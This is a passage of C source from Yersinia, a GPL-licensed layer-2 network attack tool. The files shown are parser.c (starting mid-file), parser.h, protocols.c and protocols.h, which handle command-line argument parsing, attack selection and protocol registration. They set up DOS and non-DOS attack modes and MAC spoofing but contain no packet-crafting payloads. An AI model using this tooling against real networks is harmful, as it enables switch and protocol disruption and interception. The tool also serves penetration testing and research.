auxl = ntohl(auxl); beginl = auxl & (unsigned long) (0 - (1<<(32 - bits))); endl = auxl | (unsigned long) ((1<<(32 - bits)) - 1); } /* write_log(1,"IP Begin = %08X %s\n",beginl,inet_ntoa( (*((struct in_addr *)&beginl)) ) ); write_log(1,"IP End = %08X %s\n",endl,inet_ntoa( (*((struct in_addr *)&endl)) ) ); */ free(expr2); if (beginl > endl) return -1; if (parser_add_ip2filter(beginl,endl,tty,expr) < 0) return -1; return 0; } /* * Add an IPv4 range to the linked list of ip ranges * All data will be stored in Host Byte Order * * Return 0 on success. -1 on error */ int8_t parser_add_ip2filter(u_int32_t begin, u_int32_t end, struct term_tty *tty, char *expr) { struct filter *new, *cursor=NULL, *last=NULL; char *expr2=NULL; new = (struct filter *)calloc(1,sizeof(struct filter)); if (new == NULL) return -1; if ( (expr2=strdup(expr)) == NULL) { free(new); return -1; } new->expression = expr2; new->begin = begin; new->end = end; new->next = NULL; if (!tty->ip_filter) { tty->ip_filter = new; return 0; } cursor = tty->ip_filter; while(cursor) { last = cursor; cursor = cursor->next; } last->next = new; return 0; } void parser_free_ip2filter(struct filter *ipfilter) { struct filter *cursor, *aux; cursor = ipfilter; while(cursor) { aux = cursor->next; free(cursor->expression); free(cursor); cursor = aux; } } /* * Filter 1 parameter * Return -1 on error. * Return 0 on success. */ int8_t parser_filter_param(u_int8_t type, void *value, char *printable, u_int16_t size_print, u_int16_t size) { u_int8_t i, *bytes, j; char tmp[3]; char *temp; int16_t iface; u_int16_t end, len, len2; u_int32_t aux_ip; struct in_addr addr; if (type == FIELD_TLV) return 0; if (!printable || !value || !strlen(printable) || (strlen(printable) > size_print) ) return -1; switch(type) { case FIELD_BRIDGEID: if (strlen(printable) != 17) return -1; if (parser_vrfy_bridge_id(printable,(u_int8_t *)value)) return -1; break; case FIELD_MAC: if (parser_vrfy_mac(printable,(u_int8_t *)value)) return -1; break; case FIELD_HEX: case FIELD_DEC: end = strlen(printable); for(i=0; i<end; i++) { if ( (type == FIELD_HEX) && !isxdigit(printable[i]) ) return -1; if ( (type == FIELD_DEC) && !isdigit(printable[i]) ) return -1; } if (type == FIELD_HEX) { switch(size_print) { case 2: *((u_int8_t *)(value)) = strtoul(printable, (char **)NULL, 16); break; case 4: *((u_int16_t *)(value)) = strtoul(printable, (char **)NULL, 16); break; default: *((u_int32_t *)(value)) = strtoul(printable, (char **)NULL, 16); break; } } else { if (size==1) { *((u_int8_t *)(value)) = strtoul(printable, (char **)NULL, 10); } else if (size==2) { *((u_int16_t *)(value)) = strtoul(printable, (char **)NULL, 10); } else { *((u_int32_t *)(value)) = strtoul(printable, (char **)NULL, 10); } } break; case FIELD_IP: if (parser_get_inet_aton(printable, &addr) < 0) return -1; /* EVERYTHING is stored in host address format */ aux_ip = ntohl(addr.s_addr); memcpy(value, (void *)&aux_ip, 4); break; case FIELD_STR: /* First remove everything */ memset((void *)value, 0, strlen(value)); end = strlen(printable); if (end > 0) { for(i=0; i<end; i++) { if ( !isascii(printable[i]) ) return -1; } } memcpy((void *)value, (void *)printable, end); break; case FIELD_IFACE: end = strlen( printable ); for( i=0 ; i < end ; i++ ) { if ( ! isascii( printable[i] ) ) return -1; } iface = interfaces_get( printable ); if ( iface < 0 ) return -1; memset((void *)value, 0, strlen(value)); memcpy((void *)value, (void *)printable, end); break; case FIELD_ENABLED_IFACE: end = strlen(printable); for(i=0; i<end; i++) { if ( !isascii(printable[i]) ) return -1; } iface = interfaces_get_enabled( printable ); if ( iface < 0 ) return -1; memset((void *)value, 0, strlen(value)); memcpy((void *)value, (void *)printable, end); break; case FIELD_BYTES: len = strlen(printable); len2 = ((len % 2) ? len/2 + 1 : len/2); bytes = (u_int8_t *)calloc(1, len2); if (bytes == NULL) { thread_error("parser_filter_param calloc",errno); return -1; } temp = printable; for (j=0; j < len/2; j++) { memcpy((void *)tmp, (void *)temp, 2); tmp[2] = '\0'; bytes[j] = strtol(tmp, NULL, 16); temp+=2; } if (len % 2) bytes[j+1] = strtol(temp, NULL, 16); memcpy((void *)value, (void *)bytes, len2); free(bytes); break; } return 0; } /* * Command line help for all protocols */ void parser_cl_proto_help(u_int8_t proto, struct term_node *node) { u_int8_t i; struct commands_param *comm_par = protocols[proto].parameters; write_log(2,"%s\n", bin_data); write_log(2,"\nUsage: %s %s [-h -M] [-attack id] ", PACKAGE,protocols[proto].name_comm); for(i=0; i< protocols[proto].nparams; i++) if ((comm_par[i].type != FIELD_DEFAULT) && (comm_par[i].type != FIELD_EXTRA)) write_log(2,"[-%s arg] ",comm_par[i].desc); write_log(2,"\n -h This help screen.\n"); write_log(2," -M Disable MAC address spoofing.\n"); write_log(2,"\nUse '?' as parameter argument if you would like to display the parameter help.\n\n"); write_log(2,"Please, see the man page for a full list of options and many examples.\n"); write_log(2,"Send your bugs & suggestions to the Yersinia developers <[email protected]>\n\n"); } /* * Command line parser for all protocols */ int8_t parser_cl_proto( struct term_node *node, int8_t argc, char **args, u_int8_t proto) { int8_t aux, tmp, ifaces, i, j, has_help, has_arg, fail, gotit; char *param; struct term_tty *term_tty=NULL; struct _attack_definition *first_attack; struct commands_param *comm_par; dlist_t *p = NULL; struct interface_data *iface_data; char **aux_args = args; if (argc == 1) { write_log(2,"Ouch!! No arguments specified!!\n"); return -1; } comm_par = protocols[proto].parameters; term_tty = node->specific; ifaces = 0; i = 0; aux_args++; while ( *aux_args != (char *)NULL ) { if (*(aux_args+1) == NULL) { has_arg = 0; has_help = 0; } else { has_arg = 1; if (!strcmp("?", *(aux_args+1)) ) has_help = 1; else has_help = 0; } /* write_log(2,"argc=%d arg(%d)=%s has_help=%d has_arg=%d\n",argc,i,*aux_args,has_help,has_arg);*/ if ((strlen(*aux_args)==1) || ((**aux_args) != '-') ) { write_log(2," Bad parameter '%s'!!\n",*aux_args); return -1; } if (!strcmp("-interface", *aux_args) || !strcmp("-i", *aux_args) ) { if (!has_arg) { write_log(2,"Parameter 'interface' needs an argument!!\n"); return -1; } if (has_help) { write_log(2," WORD Network interface name\n"); return -1; } aux_args++; if ((p = dlist_search(interfaces->list, interfaces->cmp, (*aux_args))) == NULL) { write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n", *aux_args); return -1; } /* Don't repeat interface...*/ if (!dlist_search(node->used_ints->list, node->used_ints->cmp, (*aux_args))) { if ((tmp = interfaces_enable(*aux_args)) == -1) { write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n",*aux_args); return -1; } iface_data = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_data, (void *)dlist_data(p), sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_data); ifaces++; } } else if (!strcmp("-help", *aux_args) || !strcmp("-h", *aux_args) ) { parser_cl_proto_help(proto,node); return -1; } else if (!strcmp("-M", *aux_args) ) { if (has_help) { write_log(2," <cr> Disable MAC address spoofing\n"); return -1; } node->mac_spoofing = 0; } else if (!strcmp("-attack", *aux_args) ) { if (!has_arg) { write_log(2,"Parameter 'attack' needs an argument!!\n"); return -1; } if (!protocols[proto].attack_def_list) { write_log(2,"Ouch!! No attacks defined for protocol %s!!\n",protocols[proto].namep); return -1; } if (has_help) { first_attack = protocols[proto].attack_def_list; while (first_attack->desc != NULL) { write_log(2," <%d> %s attack %s\n",first_attack->v, (first_attack->type)?"DOS":"NONDOS", first_attack->desc); ++first_attack; } return -1; } aux_args++; aux = atoi(*aux_args); first_attack = protocols[proto].attack_def_list; j=0; while(first_attack[j].desc != NULL) j++; if ( (aux < 0) || (aux > (j-1)) ) { write_log(2," %s attacks id must be between 0 and %d!!\n",protocols[proto].namep,(j-1)); return -1; } term_tty->attack = aux; } else /* Now we can compare all the protocol params */ { gotit=0; comm_par = protocols[proto].parameters; param = *aux_args; param++; /* Avoid the '-' */ for(j=0; j<protocols[proto].nparams;j++) { if ((comm_par[j].type == FIELD_DEFAULT) || (comm_par[j].type == FIELD_EXTRA)) /* We don't care about the 'default' command */ continue; if (!strcmp(comm_par[j].desc, param)) { if (has_help) { write_log(2,"\n %s, allowed values:\n\n",comm_par[j].help); write_log(2," %s\n",comm_par[j].param); return -1; } if (!has_arg) { write_log(2,"Parameter '%s' needs an argument!!\n",param); return -1; } fail = parser_filter_param( comm_par[j].type, node->protocol[proto].commands_param[j], *(aux_args+1), comm_par[j].size_print, comm_par[j].size); if (fail == -1) { write_log(2," Bad value '%s' for parameter '%s'!!\n",*(aux_args+1),param); return -1; } if (comm_par[j].filter) /* Use specific filter for this param */ { fail = (comm_par[j].filter((void *)node,node->protocol[proto].commands_param[j],*(aux_args+1))); if (fail == -1) { write_log(2," Bad value '%s' for parameter '%s'!!\n",*(aux_args+1),param); return -1; } } gotit=1; aux_args++; break; } } /* next protocol parameter */ if (!gotit) { write_log(2," Unrecognized parameter '%s'!!!\n",*aux_args); return -1; } } aux_args++; i++; } /* while */ if (interfaces->list) iface_data = dlist_data(interfaces->list); else { write_log(0, "Hmm... you don't have any valid interface.\ %s is useless. Go and get a life!\n", PACKAGE); return -1; } /* take the first valid interface */ if (!ifaces) { if (strlen(iface_data->ifname)) { write_log(2,"Warning: interface %s selected as the default one\n", iface_data->ifname); if ((tmp = interfaces_enable(iface_data->ifname)) == -1) { write_log(2,"Unable to use interface %s!! (Maybe nonexistent?)\n\n", iface_data->ifname); return -1; } else { iface_data = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_data, (void *)dlist_data(interfaces->list), sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_data); ifaces++; } } else { write_log(2,"Hmm... you don't have any valid interface. Go and get a life!\n"); return -1; } } return 0; } int8_t parser_binary2printable(u_int8_t proto, u_int8_t elem, void *value, char *msg) { int8_t j; u_int8_t *aux8; u_int16_t *aux16; u_int32_t *aux32, auxip; struct commands_param *params; params = (struct commands_param *) protocols[proto].parameters; *msg = '\0'; switch(params[elem].type) { case FIELD_IP: memcpy((void *)&auxip, value, 4); auxip = htonl(auxip); strncpy(msg, libnet_addr2name4(auxip, LIBNET_DONT_RESOLVE), 16); break; case FIELD_HEX: if (params[elem].size_print == 2) { aux8 = (u_int8_t *) value; snprintf(msg, 3,"%02hhX",*aux8); } else if (params[elem].size_print == 4) { aux16 = (u_int16_t *) value; snprintf(msg, 5,"%04hX",*aux16); } else { aux32 = (u_int32_t *) value; snprintf(msg, 9,"%08X",*aux32); } break; case FIELD_DEC: if (params[elem].size == 1) { aux8 = (u_int8_t *) value; snprintf(msg, 4 ,"%d",*aux8); } else if (params[elem].size == 2) { aux16 = (u_int16_t *) value; snprintf(msg, 6,"%d",*aux16); } else { aux32 = (u_int32_t *) value; snprintf(msg, 9,"%d",*aux32); } break; case FIELD_BRIDGEID: aux8 = value; snprintf(msg, 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", *(aux8)&0xFF, *(aux8+1)&0xFF, *(aux8+2)&0xFF, *(aux8+3)&0xFF, *(aux8+4)&0xFF, *(aux8+5)&0xFF, *(aux8+6)&0xFF, *(aux8+7)&0xFF); break; case FIELD_MAC: aux8 = value; snprintf(msg, 18, "%02X:%02X:%02X:%02X:%02X:%02X", aux8[0], aux8[1], aux8[2], aux8[3], aux8[4], aux8[5]); break; case FIELD_BYTES: aux8 = value; for(j=0; j<params[elem].size; j++, aux8++) snprintf((msg+j*2), 3, "%02X", *(aux8)&0xFF); break; case FIELD_STR: aux8 = value; snprintf(msg, params[elem].size_print, "%s", aux8); break; case FIELD_NONE: case FIELD_DEFAULT: case FIELD_EXTRA: case FIELD_IFACE: break; default: write_log(0,"Ouch!! Unrecognized protocol(%s) param type %d!!!\n", protocols[proto].namep, params[elem].type); } return 0; } char * parser_get_meaning(char *value, const struct tuple_type_desc *tuple) { u_int16_t i; i = 0; while(tuple[i].desc) { if (tuple[i].type == strtoul(value, NULL, 16)) return tuple[i].desc; i++; } return "UKN"; } u_int8_t parser_get_max_field_length(const struct tuple_type_desc *tuple) { u_int8_t max; u_int16_t i; max = 0; i = 0; while(tuple[i].desc) { if (strlen(tuple[i].desc) > max) max = strlen(tuple[i].desc); i++; } return max; } /* vim:set tabstop=3:set expandtab:set shiftwidth=3:set textwidth=120: */
C/C++
yersinia/src/parser.h
/* parser.h * Definitions for command line parser and parser utilities * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __PARSER_H__ #define __PARSER_H__ #include "interfaces.h" #include "terminal-defs.h" #include "attack.h" #define MIN2(a,b) ((a)<(b)?(a):(b)) #define MIN3(a,b,c) ((a)<(b)?(MIN2(a,c)):(MIN2(b,c))) #define MAX2(a,b) ((a)<(b)?(b):(a)) #define MAX3(a,b,c) ((a)<(b)?(MAX2(b,c)):(MAX2(a,c))) /* * Following struct is just for passing argv,argc and protocol from * parent process to command line thread peer because the firsts * arguments parsing is made within parent process context while the * protocol parsing is made within the command line thread. */ struct cl_args { struct term_tty tty; int16_t count; char **argv_tmp; int8_t proto_index; }; int8_t parser_initial(struct term_tty *, struct cl_args *, int, char **); int8_t parser_are_digits( int8_t *, int8_t ); void parser_str_tolower( char *); void parser_help( void ); int8_t parser_vrfy_mac( char *, u_int8_t * ); int8_t parser_vrfy_bridge_id( char *, u_int8_t * ); int8_t parser_command2index(register const struct _attack_definition *, register int8_t); int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); int8_t parser_get_formated_inet_address_fill(u_int32_t in, char *inet, u_int16_t inet_len, int8_t fill_up); int8_t parser_get_inet_aton(char *, struct in_addr *); int8_t parser_get_random_string(u_int8_t *, u_int8_t); int8_t parser_get_random_int(u_int8_t); int8_t parser_read_config_file(struct term_tty *, struct term_node *); int8_t parser_write_config_file(struct term_tty *); void parser_basedisplay(u_int8_t, u_int8_t, char *, size_t ); int8_t parser_vrfy_ip2filter(char *, struct term_tty *); int8_t parser_add_ip2filter(u_int32_t, u_int32_t, struct term_tty *, char *); void parser_free_ip2filter(struct filter *); int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t); void parser_cl_proto_help(u_int8_t, struct term_node *); int8_t parser_cl_proto( struct term_node *, int8_t, char **, u_int8_t); int8_t parser_binary2printable(u_int8_t, u_int8_t, void *, char *); char *parser_get_meaning(char *, const struct tuple_type_desc *); u_int8_t parser_get_max_field_length(const struct tuple_type_desc *); #if (defined(SOLARIS) && !defined(SOLARIS_27)) extern int inet_aton( char *, struct in_addr * ); #endif extern struct terminals *terms; extern int8_t bin_data[]; extern int8_t protocol_proto2index(char *); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/protocols.c
/* protocols.c * Protocols stuff * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <ctype.h> #include "protocols.h" struct protocol_def protocols[MAX_PROTOCOLS]; void protocol_init(void) { memset( (void *)protocols, 0, sizeof( protocols ) ); protocol_register_all(); } void protocol_free_stats( uint8_t proto ) { u_int8_t i; for ( i = 0; i < MAX_PACKET_STATS; i++ ) { if ( protocols[ proto ].stats[ i ].header ) { free( protocols[ proto ].stats[ i ].header ); protocols[ proto ].stats[ i ].header = NULL ; } if ( protocols[ proto ].stats[ i ].packet ) { free( protocols[ proto ].stats[ i ].packet ); protocols[ proto ].stats[ i ].packet = NULL ; } } } int8_t protocol_register( u_int8_t proto, const char *name, const char *desc, const char *name_comm, u_int16_t size, init_attribs_t init, learn_packet_t learn, get_printable_packet_t packet, get_printable_store_t store, load_values_t load, struct _attack_definition *attacks, update_field_t update_field, struct proto_features *features, struct commands_param *param, u_int8_t nparams, struct commands_param_extra *extra_parameters, u_int8_t extra_nparams, get_extra_field_t extra, init_commands_struct_t init_commands, u_int8_t visible, end_t end ) { u_int8_t i; if ( proto >= MAX_PROTOCOLS ) return -1; protocols[proto].proto = proto; strncpy( protocols[proto].namep, name, MAX_PROTO_NAME ); protocols[proto].namep[ MAX_PROTO_NAME ] = 0 ; strncpy( protocols[proto].description, desc, MAX_PROTO_DESCRIPTION ); protocols[proto].description[ MAX_PROTO_DESCRIPTION ] = 0 ; strncpy( protocols[proto].name_comm, name_comm, MAX_PROTO_NAME ); protocols[proto].name_comm[ MAX_PROTO_NAME ] = 0 ; protocols[proto].size = size; protocols[proto].active = 1; /* default is active */ protocols[proto].visible = visible; protocols[proto].init_attribs = init; protocols[proto].learn_packet = learn; protocols[proto].get_printable_packet = packet; protocols[proto].get_printable_store = store; protocols[proto].load_values = load; protocols[proto].attack_def_list = attacks; protocols[proto].update_field = update_field; protocols[proto].features = features; protocols[proto].parameters = param; protocols[proto].nparams = nparams; protocols[proto].extra_parameters = extra_parameters; protocols[proto].extra_nparams = extra_nparams; protocols[proto].get_extra_field = extra; protocols[proto].init_commands_struct = init_commands; protocols[proto].end = end; for ( i = 0; i < MAX_PACKET_STATS; i++ ) { protocols[proto].stats[i].header = (struct pcap_pkthdr *)calloc( 1, sizeof( struct pcap_pkthdr ) ); if ( protocols[proto].stats[i].header == NULL ) { protocol_free_stats( proto ); return -1 ; } protocols[proto].stats[i].packet = (u_char *)calloc( 1, SNAPLEN ); if ( protocols[proto].stats[i].packet == NULL ) { protocol_free_stats( proto ); return -1; } } protocols[proto].packets = 0; protocols[proto].packets_out = 0; protocols[proto].default_values = calloc( 1, size ); if ( protocols[proto].default_values == NULL ) { protocol_free_stats( proto ); return -1; } #ifdef HAVE_REMOTE_ADMIN /* Sorted CLI parameters...*/ protocols[proto].params_sort = (u_int8_t *)calloc( 1,nparams ); if ( protocols[proto].params_sort == NULL ) { free( protocols[proto].default_values ); protocols[proto].default_values = NULL ; protocol_free_stats( proto ); return -1; } for( i=0; i < nparams; i++ ) protocols[proto].params_sort[i] = i; protocol_sort_params( proto, protocols[proto].params_sort, nparams ); #endif return 0; } int8_t protocol_register_tlv(u_int8_t proto, edit_tlv_t edit_tlv, const struct tuple_type_desc *ttd, struct attack_param *tlv, u_int16_t params) { if (proto >= MAX_PROTOCOLS) return -1; protocols[proto].edit_tlv = edit_tlv; protocols[proto].ttd = ttd; protocols[proto].tlv = tlv; protocols[proto].tlv_params = params; return 0; } void protocol_register_all(void) { { extern void xstp_register(void); xstp_register(); } { extern void cdp_register(void); cdp_register(); } { extern void dtp_register(void); dtp_register(); } { extern void dhcp_register(void); dhcp_register(); } { extern void hsrp_register(void); hsrp_register(); } { extern void dot1q_register(void); dot1q_register(); } { extern void isl_register(void); isl_register(); } { extern void vtp_register(void); vtp_register(); } { extern void arp_register(void); arp_register(); } { extern void dot1x_register(void); dot1x_register(); } { extern void mpls_register(void); mpls_register(); } } void protocol_destroy( void ) { int8_t i ; for ( i = 0; i < MAX_PROTOCOLS; i++ ) { protocol_free_stats( i ); if ( protocols[i].default_values ) free( protocols[i].default_values ); #ifdef HAVE_REMOTE_ADMIN /* Ordered CLI parameters...*/ if ( protocols[i].params_sort ) free( protocols[i].params_sort ); #endif } } char **protocol_create_printable( u_int8_t size, struct commands_param *params ) { u_int8_t i, k; char **field_values; /* +2 for the extra values and the null */ field_values = (char **) calloc( 1, ( size + 2 ) * sizeof( u_int8_t * ) ); if ( ! field_values ) return NULL; k = 0; for (i = 0; i < size; i++ ) { if ( ( params[i].type != FIELD_IFACE ) && ( params[i].type != FIELD_DEFAULT ) && ( params[i].size_print > 0 ) ) { field_values[k] = (char *)calloc( 1, params[i].size_print + 1 ); if ( ! field_values[k] ) { free( field_values ); return NULL; } k++; } } return field_values; } /* * Return the index associated to the protocol 'name' being 'name' the name * used in the CLI and in command line. * The protocol must be a *VISIBLE* one. * Return -1 if protocol 'name' doesn't exist */ int8_t protocol_proto2index(char *name) { u_int8_t i=0; while (i < MAX_PROTOCOLS) { if (protocols[i].visible) { if (!strcasecmp(protocols[i].name_comm, name)) return (protocols[i].proto); } ++i; } return -1; } #ifdef HAVE_REMOTE_ADMIN /* * Sort parameter list alphabetically */ void protocol_sort_params(u_int8_t proto, u_int8_t *aux_comm, u_int8_t nparams) { u_int8_t i, j, aux_data; char *aux; for(i=0; i < nparams; i++) { for(j=nparams-1; j > i; --j) { aux = protocol_sort_str(protocols[proto].parameters[aux_comm[j-1]].desc, protocols[proto].parameters[aux_comm[j]].desc); if (aux == protocols[proto].parameters[aux_comm[j-1]].desc) { aux_data = aux_comm[j-1]; aux_comm[j-1] = aux_comm[j]; aux_comm[j] = aux_data; } } } } char * protocol_sort_str(char *s1, char *s2) { int len, i; char c1, c2; if (strlen(s1)<strlen(s2)) len = strlen(s1); else len = strlen(s2); for (i=0; i< len; i++) { c1 = tolower(*(s1+i)); c2 = tolower(*(s2+i)); if (c1 > c2) return s1; if (c1 < c2) return s2; } if (strlen(s1)< strlen(s2)) return s2; return s1; } #endif
C/C++
yersinia/src/protocols.h
/* protocols.h * Definitions for protocol stuff * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __PROTOCOLS_H__ #define __PROTOCOLS_H__ #include <pcap.h> #include <net/if.h> #ifdef SOLARIS typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif /* Protocols info */ #define PROTO_ARP 0 #define PROTO_CDP 1 #define PROTO_DHCP 2 #define PROTO_DOT1Q 3 #define PROTO_DOT1X 4 #define PROTO_DTP 5 #define PROTO_HSRP 6 #define PROTO_ISL 7 #define PROTO_MPLS 8 #define PROTO_STP 9 #define PROTO_VTP 10 #define MAX_PROTOCOLS 11 #define PROTO_VISIBLE 1 #define PROTO_NOVISIBLE 0 #define NO_PROTO -1 #define COMMON_TLV 69 /* Read the HGTTG */ #define PROTO_ALL 42 #define SNAPLEN 1500 #define MAX_PROTO_NAME 8 #define MAX_PROTO_DESCRIPTION 64 /* different packets received for stats */ #define MAX_PACKET_STATS 10 /* Packets minimum size */ #define CDP_MIN_LENGTH LIBNET_CDP_H + LIBNET_802_2SNAP_H + LIBNET_802_3_H #define DHCP_MIN_LENGTH LIBNET_DHCPV4_H + LIBNET_UDP_H + LIBNET_IPV4_H + LIBNET_ETH_H #define DOT1Q_MIN_LENGTH LIBNET_802_1Q_H #define DOT1X_MIN_LENGTH LIBNET_802_1X_H #define DTP_MIN_LENGTH 12 + LIBNET_802_2_H + LIBNET_802_3_H #define HSRP_MIN_LENGTH 20 + LIBNET_UDP_H + LIBNET_IPV4_H + LIBNET_ETH_H #define VTP_MIN_LENGTH 40 + LIBNET_802_2_H + LIBNET_802_3_H #define STP_CONF_MIN_LENGTH LIBNET_STP_CONF_H + LIBNET_802_2_H + LIBNET_802_3_H #define STP_TCN_MIN_LENGTH LIBNET_STP_TCN_H + LIBNET_802_2_H + LIBNET_802_3_H struct term_node; struct attacks; struct _attack_definition; struct pcap_pkthdr; struct words_array; struct pcap_data { struct pcap_pkthdr *header; u_int8_t *packet; char iface[IFNAMSIZ+1]; u_int32_t total; }; struct proto_features { int8_t field; u_int32_t value; }; /* Parameters field types */ #define FIELD_NONE 0 #define FIELD_HEX 1 #define FIELD_DEC 2 #define FIELD_STR 3 #define FIELD_MAC 4 #define FIELD_BRIDGEID 5 #define FIELD_IP 6 #define FIELD_TLV 7 #define FIELD_IFACE 8 #define FIELD_BYTES 9 #define FIELD_ENABLED_IFACE 10 #define FIELD_DEFAULT 99 #define FIELD_EXTRA 100 /* struct used for protocol parameters */ struct commands_param { u_int8_t id; /* ID */ char *desc; /* Description */ char *ldesc; /* Long description */ u_int16_t size; /* Size */ u_int8_t type; /* Type */ char *help; /* Help text */ char *param; /* Param text */ u_int16_t size_print; /* Allowed printable size */ u_int8_t row; /* Row where the field is displayed (ncurses and GTK) */ u_int8_t mwindow; /* 1 if appears in mwindow, 0 if not */ int8_t (*filter)(void *, void *, char *); /* Filtering function specific for protocol */ const struct tuple_type_desc *meaning; /* filed value description */ }; /* struct used for extra protocol parameters (TLV, VLANS, ...) */ struct commands_param_extra { u_int32_t id; char *desc; /* Description */ char *ldesc; /* Long description */ u_int16_t size; /* Size */ u_int8_t type; /* Type */ char *help; /* Help text */ char *param; /* Param text */ u_int16_t size_print; /* Allowed printable size */ u_int8_t mwindow; /* 1 if appears in mwindow, 0 if not */ const struct tuple_type_desc *meaning; /* field value description */ /* int8_t (*filter)(void *, void *, char *);*/ /* Filtering function specific for protocol */ }; /* Struct for the list of extra params */ struct commands_param_extra_item { u_int32_t id; u_int8_t *value; }; /* struct needed for giving info about packet fields and * letting the user to choose values when crafting the packet */ struct tuple_type_desc { u_int16_t type; char *desc; }; struct tuple_tlv { u_int16_t type; u_int8_t format; }; typedef int8_t (*init_attribs_t)(struct term_node *); typedef int8_t (*learn_packet_t)(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *); typedef char **(*get_printable_packet_t)(struct pcap_data *); typedef char **(*get_printable_store_t)(struct term_node *); typedef int8_t (*load_values_t)(struct pcap_data *, void *); typedef int8_t (*update_field_t)(int8_t, struct term_node *, void *); typedef int8_t (*edit_tlv_t)(struct term_node *, u_int8_t, u_int8_t, u_int16_t, u_int8_t *); typedef int8_t (*init_commands_struct_t)(struct term_node *); typedef int8_t (*end_t)(struct term_node *); typedef void *(*get_extra_field_t)(struct term_node *, void *, u_int8_t); struct protocol_def { u_int8_t proto; /* Proto id */ char namep[MAX_PROTO_NAME + 1]; /* Proto name */ char description[MAX_PROTO_DESCRIPTION + 1]; /* Proto description */ char name_comm[MAX_PROTO_NAME + 1]; /* Protocol name for CLI interface */ u_int8_t active; /* Active or not */ u_int16_t size; /* Struct size */ init_attribs_t init_attribs; learn_packet_t learn_packet; get_printable_packet_t get_printable_packet; get_printable_store_t get_printable_store; load_values_t load_values; struct _attack_definition *attack_def_list; struct pcap_data stats[MAX_PACKET_STATS]; update_field_t update_field; edit_tlv_t edit_tlv; const struct tuple_type_desc *ttd; struct attack_param *tlv; u_int16_t tlv_params; u_int32_t packets; u_int32_t packets_out; struct proto_features *features; void *default_values; init_commands_struct_t init_commands_struct; /* Function for initialize commands struct */ struct commands_param *parameters; u_int8_t nparams; #ifdef HAVE_REMOTE_ADMIN u_int8_t *params_sort; #endif struct commands_param_extra *extra_parameters; u_int8_t extra_nparams; get_extra_field_t get_extra_field; u_int8_t visible; end_t end; }; extern struct protocol_def protocols[MAX_PROTOCOLS]; void protocol_init(void); int8_t protocol_register(u_int8_t, const char *, const char *, const char *, u_int16_t, init_attribs_t, learn_packet_t, get_printable_packet_t, get_printable_store_t, load_values_t, struct _attack_definition *, update_field_t, struct proto_features *, struct commands_param *, u_int8_t, struct commands_param_extra *, u_int8_t, get_extra_field_t, init_commands_struct_t, u_int8_t, end_t); int8_t protocol_register_tlv(u_int8_t, edit_tlv_t, const struct tuple_type_desc *, struct attack_param *, u_int16_t); void protocol_register_all(void); void protocol_destroy(void); char **protocol_create_printable(u_int8_t, struct commands_param *); #ifdef HAVE_REMOTE_ADMIN char *protocol_sort_str(char *, char *); void protocol_sort_params(u_int8_t, u_int8_t *, u_int8_t); #endif extern void write_log( u_int16_t mode, char *msg, ... ); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/terminal-defs.h
